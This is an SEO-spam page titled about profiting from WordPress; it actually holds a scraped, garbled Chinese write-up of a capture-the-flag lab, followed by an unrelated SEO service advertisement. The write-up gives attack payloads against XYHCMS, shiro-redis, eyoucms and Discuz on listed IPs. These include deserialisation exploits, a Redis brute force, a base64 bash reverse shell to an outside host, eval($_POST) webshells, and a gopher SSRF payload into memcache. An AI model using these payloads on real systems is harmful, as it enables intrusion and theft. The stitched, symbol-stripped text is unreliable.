百度SEO

百度SEO

Products

当前位置:首页 > 百度SEO >

如何利用WordPress在西安网站SEO优化公司中盈利?

96SEO 2026-02-20 09:35 10


靶场地址

暗月在中秋节搞了个靶场活动一共有4个flag本着增长经验的想法参加了本次活动最终在活动结束的时候拿到了3个flag后面看了其他人的wp也复现拿到第四个flag。

如何利用WordPress在西安网站SEO优化公司中盈利?

过程比较曲折所以记录一下。

靶场地址

发现有redis想着如果有redis未授权或许可以先搞下一个于是先访问redis看下可惜需要认证

此处可以尝试redis的暴力破解不过既然还开放了其他几个端口我们也都看下是什么情况除了redis与ssh外还有四个可访问的web端口

XYHCMS

目录浏览找到key--反序列化漏洞读取数据库配置文件--反序列化漏洞添加后台账户--反序列化漏洞结合缓存文件getshell

既然知道了是什么系统就先搜索xyhcms漏洞发现文章痛失CVE之xyhcms(thinkphp3.2.3)反序列化

主要是利用反序列化漏洞getshell通过文章给出信息访问http://103.108.67.223:8866/App/Runtime/Data/config/site.php

随手访问http://103.108.67.223:8866/App/

http://103.108.67.223:8866/App/Runtime/Logs/Home/23_09_20.log

泄露绝对路径/var/www/html/

http://103.108.67.223:8866/App/Runtime/Data/d51694dcb61d76bef156076835ffd7e7_config/site.php

原来是config前面多了串随机值通过此文件获得一个密码和序列化的key

ssh以及站点后台都没有成功那我们还是按文章中的反序列化漏洞来。

首先验证key是否正确用到以下脚本

?phpclass

$encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr]);}return

base64_encode(self::__key($tmp,$this

crypt_key));}public

self::__key(base64_decode($txt),$this

crypt_key);$tmp

系统在判断登录用户身份的时候会从cookie中获取nickname的值然后反序列化展示我们首先随便注册一个用户登录后修改cookie中nickname的值为脚本生成内容刷新页面后用户名成功更换说明key正确

接下来要获取数据库连接信息结合此前获取到的根目录数据库配置文件应该在/var/www/html//App/Common/Conf/db.php

这里用到一个伪造的mysql客户端https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

修改脚本中filelist内容为/var/www/html//App/Common/Conf/db.php后运行

使用以下脚本生成序列化数据使程序发起对伪造mysql客户端的连接mysql信息只要ip与端口正确就可以密码随意脚本内容参考了scaner从外网到内网域渗透笔记

?php

array(PDO::MYSQL_ATTR_LOCAL_INFILE

true);protected

mysql:hostx.x.x.x(运行伪造mysql服务端的主机ip);dbnamexyhcms;port3306,username

root,password

\Think\Db\Driver\Mysql();$this-options[where]

;$this-pk

\Think\Session\Driver\Memcache();}

}namespace

$encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr]);}return

base64_encode(self::__key($tmp,$this

crypt_key));}public

self::__key(base64_decode($txt),$this

crypt_key);$tmp

\Common\Lib\SysCrypt($key);$value

unserialize($value);

\Common\Lib\SysCrypt($key);$value

$value;

array(PDO::MYSQL_ATTR_LOCAL_INFILE

true);protected

mysql:host127.0.0.1;dbnamexyhcms;port3306,username

root,password

\Think\Db\Driver\Mysql();$this-options[where]

;$this-pk

(id,username,password,encrypt,user_type,is_lock,login_num)

VALUES

(null,test,88bf2f72156e8e2accc2215f7a982a83,sggFkZ,9,0,4););}

}namespace

\Think\Session\Driver\Memcache();}

}namespace

$encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr]);}return

base64_encode(self::__key($tmp,$this

crypt_key));}public

self::__key(base64_decode($txt),$this

crypt_key);$tmp

\Common\Lib\SysCrypt($key);$value

unserialize($value);

\Common\Lib\SysCrypt($key);$value

$value;

仍然是生成内容放入cookie中nickname字段刷新页面执行后使用test/123456成功登录后台

此版本无法直接编辑模版getshell但一些配置信息会以序列化的形式存储在php后缀的缓存文件中所以可以通过反序列化漏洞直接向数据库插入webshell然后配合缓存文件的生成来getshell运行以下脚本

?php

array(PDO::MYSQL_ATTR_LOCAL_INFILE

true);protected

mysql:host127.0.0.1;dbnamexyhcms;port3306,username

root,password

\Think\Db\Driver\Mysql();$this-options[where]

;$this-pk

languagephpeval(\$_POST[acmd]);/script

varchar(10););}

\Think\Session\Driver\Memcache();}

}namespace

$encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr]);}return

base64_encode(self::__key($tmp,$this

crypt_key));}public

self::__key(base64_decode($txt),$this

crypt_key);$tmp

\Common\Lib\SysCrypt($key);$value

unserialize($value);

\Common\Lib\SysCrypt($key);$value

$value;

修改nickname为exp生成的值后刷新页面后台操作清除全部缓存系统设置里后在“模块扩展”功能下点击“友情连接”即可重新生成缓存文件

查看文件内容获取flag

通过根目录下的.dockerenv文件可知道在docker环境中先考虑提权反弹个shell后面才知道四个flag就是分别搞下那四个web系统没必要尝试提权此处仅当记录思路

部署https://github.com/The-Z-Labs/linux-exploit-suggester

系统不支持gcc命令

本地在ubuntu系统中编译poc后上传到系统中尝试提权不过都失败了暂时放弃先继续看其他系统

暴力破解redis--结合shiro-redis的反序列化漏洞反弹shell

打开页面内容如图

还是先搜索shiro-redis的漏洞找到文章redis未授权到shiro反序列化

先知社区

里面提到系统从redis中获取session数据过程中会触发反序列化结合redis未授权的问题可以向redis中插入序列化数据来getshell。

之前测试过redis已知存在认证那就尝试下暴力破解吧。

使用msf的auxiliary/scanner/redis/redis_login模块成功获取口令abc123

使用redis-cli验证成功

接下来在系统中安装依赖https://github.com/cokeBeer/pyyso

然后使用如下exp反弹一个shell

s.connect((103.108.67.223,6379))

whateverb9227

{echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xNzMuMjMwLjE0NS4yMjQvMzMwNiAwPiYxCg}|{/usr/bin/base64,-d}|{/bin/bash,-i})

s.send(b\x2a\x33\x0d\x0a\x24\x33\x0d\x0aSET\r\n\x24str(len(key)).encode()b\r\nkeyb\r\n\x24str(len(value)).encode()b\r\nvalueb\r\n)

bOK

执行后在web中设置JSESSIONID值为9227后刷新页面触发反序列化

但反弹shell失败改为curl测试命令是否可执行成功触发curl此处因为靶场环境不稳定切换到了备用ip

经过多次尝试通过bash执行命令都没成功且带有|;等符号貌似也不会成功因此考虑利用msf生成后门生成后依次执行以下命令

curl

后来看群里其他人也主要反映此靶场反弹shell不成功的问题不过也有人用最基础的反弹shell语句成功成了玄学问题。

eyoucms认证绕过漏洞--后台编辑模板getshell--bypass

disable

仍然是搜索相关漏洞同时dirsearch扫描下系统文件结果如图

搜到一个rce漏洞eyoucms1.0前台getshell分析

里面提到的路径http://103.108.67.223:8880/index.php/api/Uploadify/preview

v1.4.1

访问文章中提到的路径http://103.108.67.223:8880/index.php?mapicAjaxaget_tag_memberlist

提示暂时没用上排除此问题

继续尝试另一篇文章奇安信攻防社区-【代码审计】eyouCMS最新版getshell漏洞

http://103.108.67.223:8880/index.php?mapicAjaxaget_tokennameadmin_id

访问404

排除此问题搜到的高危问题都没发现此时没了好办法就开着burp在站点中点点点神奇的发现抓到如下数据包

这不就是认证绕过漏洞用到的路径吗后来经过测试原来不带X-Requested-With:

参考文章vsmoon

考核项目复现_eyoucms1.5.2前台getshell_许我写余生ღ的博客-CSDN博客

-*-

result.headers[set-cookie]).groups()[0])PHPSESSION

result.headers[set-cookie]).groups()[0]def

set_admin_id(url):#

/index.php?mapicajaxaget_tokennameadmin_idresult

request.get(urlurl

set_admin_login_expire(url):payload

/index.php?mapicajaxaget_tokennameadmin_login_expirewhile

True:result

set_admin_info_role_id(url):payload

/index.php?mapicajaxaget_tokennameadmin_info.role_idwhile

True:result

login.php?madmincSystemaweblangcnresult

request.get(urlurl

如果第一个字符为字母就直接返回0不是则直到找到字母并且返回前面不是字母的字符

def

time()get_session(url)set_admin_id(url)set_admin_login_expire(url)set_admin_info_role_id(url)check_login(url)print(f[]

PHPSESSION

http://103.108.67.223:8880/run(url)

运行如图

http://103.108.67.223:8880/login.php

更多功能-模板管理

修改template/pc/index.htm模板插入如下内容

?file_put_contents(./uploads/allimg/09221.php,base64_decode(PD9waHAKZXZhbCgkX1BPU1RbInRlc3QwOTIyIl0pOwo));

然后访问http://103.108.67.223:8880/index.php

成功生成webshell

轻车熟路的去根目录下找flag文件发现无法查看并且也无法执行命令

利用中国蚁剑的绕过disable_functions插件选择LD_PRELOAD模式

成功获取flag

moonsec_flag{2f0460e434a10e8912c0ef6f630add2c}

利用discuz的authkey算法问题获得少量随机值种子--通过随机值种子生成memcache存储前缀字典--结合ssrf漏洞向本地memcache写入shell

访问首页得知使用了discuz!x3.2搜索相关漏洞有一个前台注入

Discuz

x3.2前台GET型SQL注入漏洞绕过全局WAF访问http://103.148.244.120:8822/misc.php?modstatoptrendxml1merge1types[1]passwordas%20daytime%20from%20pre_common_statuser,pre_ucenter_members%20as

提示没权限看了下权限说明新手上路与注册用户都没有查看统计报表的权限因此放弃该漏洞

X版本出现的一些问题其中有一个3.4版本的authkey预测问题所以跟进看了一下参考Discuz

3.4

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz

length

sstr:resultstr(str_list.index(i))result

resultstr(str_list.index(i))result

result0

下载https://www.openwall.com/php_mt_seed/

使用php_mt_seed爆破随机数种子

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz;$max

strlen($chars)

var_dump(substr($m,7));mt_srand(substr($m,7));fwrite($fp2,

random(10).\n);

http://127.0.0.1/dz3.3/idstring

vnY6nWuid

{}member.php?modgetpasswduid{}id{}.format(url,

uid,

uid与sign内容需要找回密码功能获取然而在我尝试对自己注册的用户找回密码时发现没有收到邮件然后与管理员确认了一下确认是没有邮件功能的因此放弃此思路

其他主要漏洞是针对后台的所以访问http://103.148.244.120:8822/admin.php

php.php与phpinfo.php是phpinfo文件可以获取一些信息但是还不能getshell看到有install目录想着之前看到discuz漏洞的时候有个任意文件删除那能不能配合删除相关lock文件重新install来获取shell呢搜了一下找到篇文章Discuz!-X3.4-任意文件删除配合install过程getshell

第一步就是要求存在install/index.php文件靶场站点同样不存在放弃此思路

根据discuz

getshell搜索文章多翻了几页搜到一篇标题为“Discuz

memcachessrf

GETSHELL漏洞解决方法”的文章里面提到了如果配置了memcache可以结合ssrf去getshell在phpinfo文件中可以看到memcache是配置了的

memcache

Discuz!-X-authkeyMemcachessrf-getshell

想着虽然我们暂时不知道authkey没法得知memcache的前缀但是

php_mt_seed跑出来的结果也就881个可以遍历跑一下下面就是测试ssrf按文章里提到的ssrf漏洞访问

http://103.148.244.120:8822/plugin.php?idwechat:wechatacwxregisterusernamevovavatarhttp%3A%2F%2Fwww.baidu.comwxopenidxxxyyy

结果提示插件不存在或已关闭

/misc.php?modimgcropperpicflag2cutimg/:localhost:9090/dz-imgcropper-ssrf

以及文中提到的另一篇文章https://www.cnblogs.com/iamstudy/articles/discuz_x34_ssrf_1.html

可以使这个看起来鸡肋的ssrf结合一个url跳转问题实现gopher的利用可惜到最后活动奖励名额满了ssrf这步都没有成功触发。

http://103.108.67.223:8822/forum.php?modajaxactiondownremoteimgmessage[img]http://x.x.x.x/dzssrf.jpg[/img]

解决了ssrf的问题那就接下来按我原来的思路看看能否搞完dz这个靶场。

由于暂时不能直接爆破authkey所以想着暴力去跑memcache的前缀getshell我们首先通过以下脚本根据种子生成下可能存在的memcache前缀

?php

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz;$max

strlen($chars)

$matach[1];}else{continue;}mt_srand(intval($m));random(10);

(random(4)

这里用了之前文章提到的脚本但是估计php_mt_seed的版本跟之前不一样了跑出来的结果是seed

0x003aeea2

5.2.0)这种原来的正则部分已经失效了所以修改了下提取3862178这部分使用/

(\d)

通过shell循环结合memcache前缀字典生成payload

for

gopher://localhost:11211/_set%20$i_setting%201%200%20222%0Aa%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A5%3A%22%2F.*%2Fe%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A68%3A%22file_put_contents(.%2Fdata%2Fcache%2Faaa.php%2C%3C%3Fphp%20eval(%24_POST%5Bi%5D)%3B%3F%3E)%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D

payload.txt;done

这里的payload要特别注意内容长度的问题我开始在这里踩了坑试了好多次就是不成功原因在于内容如下

xxxxxx_setting

a:2:{s:6:output;a:1:{s:4:preg;a:2:{s:6:search;a:1:{s:7:plugins;s:5:/.*/e;}s:7:replace;a:1:{s:7:plugins;s:68:file_put_contents(./data/cache/aaa.php,?php

eval($_POST[i]);?);}}}s:13:rewritestatus;i:1;}

xxxxxx_setting后面有1

222三个值其中222表示后面内容的长度如果擅自修改了内容比如webshell名称密码等就会因为长度不匹配而失败这里感谢iluem的提醒

由于直接利用gopher协议会因为特殊符号触发discuz的xss_check所以我们要在vps上建立一个php文件内容如下

?php$url

这样我们就可以在ssrf参数中使用base64编码绕过xss检测通过php文件解码后进一步跳转gopher协议完成对memcache的数据写入

接下来burp中配置intruder

http://103.148.244.120:8822/forum.php?modajaxactiongetthreadtypesinajaxyes

页面如图

因为我是生成一个aaa.php到/data/cache目录下所以这就是我们的webshell地址了

获取flag

总的来说大部分靠前人的文章搞下来的还是需要善于搜索另外就是日常多去积累各种系统的实际利用经验才能在真实渗透过程中更快的完成目标。



SEO优化服务概述

作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。

百度官方合作伙伴 白帽SEO技术 数据驱动优化 效果长期稳定

SEO优化核心服务

网站技术SEO

  • 网站结构优化 - 提升网站爬虫可访问性
  • 页面速度优化 - 缩短加载时间,提高用户体验
  • 移动端适配 - 确保移动设备友好性
  • HTTPS安全协议 - 提升网站安全性与信任度
  • 结构化数据标记 - 增强搜索结果显示效果

内容优化服务

  • 关键词研究与布局 - 精准定位目标关键词
  • 高质量内容创作 - 原创、专业、有价值的内容
  • Meta标签优化 - 提升点击率和相关性
  • 内容更新策略 - 保持网站内容新鲜度
  • 多媒体内容优化 - 图片、视频SEO优化

外链建设策略

  • 高质量外链获取 - 权威网站链接建设
  • 品牌提及监控 - 追踪品牌在线曝光
  • 行业目录提交 - 提升网站基础权威
  • 社交媒体整合 - 增强内容传播力
  • 链接质量分析 - 避免低质量链接风险

SEO服务方案对比

服务项目 基础套餐 标准套餐 高级定制
关键词优化数量 10-20个核心词 30-50个核心词+长尾词 80-150个全方位覆盖
内容优化 基础页面优化 全站内容优化+每月5篇原创 个性化内容策略+每月15篇原创
技术SEO 基本技术检查 全面技术优化+移动适配 深度技术重构+性能优化
外链建设 每月5-10条 每月20-30条高质量外链 每月50+条多渠道外链
数据报告 月度基础报告 双周详细报告+分析 每周深度报告+策略调整
效果保障 3-6个月见效 2-4个月见效 1-3个月快速见效

SEO优化实施流程

我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:

1

网站诊断分析

全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。

2

关键词策略制定

基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。

3

技术优化实施

解决网站技术问题,优化网站结构,提升页面速度和移动端体验。

4

内容优化建设

创作高质量原创内容,优化现有页面,建立内容更新机制。

5

外链建设推广

获取高质量外部链接,建立品牌在线影响力,提升网站权威度。

6

数据监控调整

持续监控排名、流量和转化数据,根据效果调整优化策略。

SEO优化常见问题

SEO优化一般需要多长时间才能看到效果?
SEO是一个渐进的过程,通常需要3-6个月才能看到明显效果。具体时间取决于网站现状、竞争程度和优化强度。我们的标准套餐一般在2-4个月内开始显现效果,高级定制方案可能在1-3个月内就能看到初步成果。
你们使用白帽SEO技术还是黑帽技术?
我们始终坚持使用白帽SEO技术,遵循搜索引擎的官方指南。我们的优化策略注重长期效果和可持续性,绝不使用任何可能导致网站被惩罚的违规手段。作为百度官方合作伙伴,我们承诺提供安全、合规的SEO服务。
SEO优化后效果能持续多久?
通过我们的白帽SEO策略获得的排名和流量具有长期稳定性。一旦网站达到理想排名,只需适当的维护和更新,效果可以持续数年。我们提供优化后维护服务,确保您的网站长期保持竞争优势。
你们提供SEO优化效果保障吗?
我们提供基于数据的SEO效果承诺。根据服务套餐不同,我们承诺在约定时间内将核心关键词优化到指定排名位置,或实现约定的自然流量增长目标。所有承诺都会在服务合同中明确约定,并提供详细的KPI衡量标准。

SEO优化效果数据

基于我们服务的客户数据统计,平均优化效果如下:

+85%
自然搜索流量提升
+120%
关键词排名数量
+60%
网站转化率提升
3-6月
平均见效周期

行业案例 - 制造业

  • 优化前:日均自然流量120,核心词无排名
  • 优化6个月后:日均自然流量950,15个核心词首页排名
  • 效果提升:流量增长692%,询盘量增加320%

行业案例 - 电商

  • 优化前:月均自然订单50单,转化率1.2%
  • 优化4个月后:月均自然订单210单,转化率2.8%
  • 效果提升:订单增长320%,转化率提升133%

行业案例 - 教育

  • 优化前:月均咨询量35个,主要依赖付费广告
  • 优化5个月后:月均咨询量180个,自然流量占比65%
  • 效果提升:咨询量增长414%,营销成本降低57%

为什么选择我们的SEO服务

专业团队

  • 10年以上SEO经验专家带队
  • 百度、Google认证工程师
  • 内容创作、技术开发、数据分析多领域团队
  • 持续培训保持技术领先

数据驱动

  • 自主研发SEO分析工具
  • 实时排名监控系统
  • 竞争对手深度分析
  • 效果可视化报告

透明合作

  • 清晰的服务内容和价格
  • 定期进展汇报和沟通
  • 效果数据实时可查
  • 灵活的合同条款

我们的SEO服务理念

我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。

提交需求或反馈

Demand feedback